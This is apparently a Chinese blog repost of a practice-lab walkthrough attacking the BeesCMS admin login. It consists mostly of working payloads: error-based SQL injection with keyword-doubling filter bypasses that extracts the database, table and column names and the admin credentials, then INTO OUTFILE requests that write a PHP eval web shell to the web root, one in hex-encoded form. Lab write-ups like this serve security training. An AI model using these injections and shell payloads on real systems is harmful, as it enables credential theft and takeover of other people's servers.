BeesCMS系统漏洞分析-Toy模板网

这篇具有很好参考价值的文章主要介绍了BeesCMS系统漏洞分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

墨者学院
beescms漏洞,cms题,安全,web安全,数据库
漏洞复现
进入首页，看到没什么问题，用kail字典birb扫下路径（发现管理页面）

看到输入框，尝试sql注入，发现有注入漏洞

既然存在报错信息，我们就尝试报错注入，经过尝试and也被过滤了，and用an and d代替，union用un union ion代替，select用selselectect代替：

报错注入

admin' an and d extractvalue(1,concat(0x7e,(select database()),0x7e))#

爆出数据库名为dees
beescms漏洞,cms题,安全,web安全,数据库

爆表名：
发现from、where、=也被过滤了，等号用like代替

admin’ an and d extractvalue(1,concat(0x7e,(selselectect table_name fro from m information_schema.tables wh where ere table_schema like ‘dees’ limit 0,1),0x7e))#

beescms漏洞,cms题,安全,web安全,数据库

爆字段

admin' an and d extractvalue(1,concat(0x7e,(selselectect column_name fro from m information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e))#

beescms漏洞,cms题,安全,web安全,数据库
修改为limit 2,1

爆值

admin’ an and d extractvalue(1,concat(0x7e,(selselectect admin_name fro from m bees_admin limit 0,1),0x7e))#

beescms漏洞,cms题,安全,web安全,数据库

admin’ an and d extractvalue(1,concat(0x7e,(selselectect admin_password fro from m bees_admin limit 0,1),0x7e))#

beescms漏洞,cms题,安全,web安全,数据库
md5解密出来admin。

进入后发现没有什么可以动的东西，想起提示网站位于"/var/www/html/"目录下。

上传木马

那么都不用拿到账号密码了。。。。

user=admin' un union ion selselectect 1,2,3,4,5 i into nto outoutfilefile '/var/www/html/shell.php&password=1&code=abd5&submit=true&submit.x=60&submit.y=23

beescms漏洞,cms题,安全,web安全,数据库
测试文件上传可

下面直接写入一句话木马：

user=admin' un union ion selselectect 1,<?php @eval($_REQUEST['ABC']);?>,3,4,5 i into nto outoutfilefile '/var/www/html/1.php'&password=12&code=f333&submit=true&submit.x=49&submit.y=30

发现并没有<>被过滤了
beescms漏洞,cms题,安全,web安全,数据库
转成16进制

user=admin' un union ion selselectect 1,0x3c3f70687020406576616c28245f524551554553545b27414243275d293b3f3e,3,4,5 i into nto outoutfilefile
'/var/www/html/123.php'#&password=12&code=f333&submit=true&submit.x=49&submit.y=30

连接成功
beescms漏洞,cms题,安全,web安全,数据库文章来源地址https://www.toymoban.com/news/detail-613873.html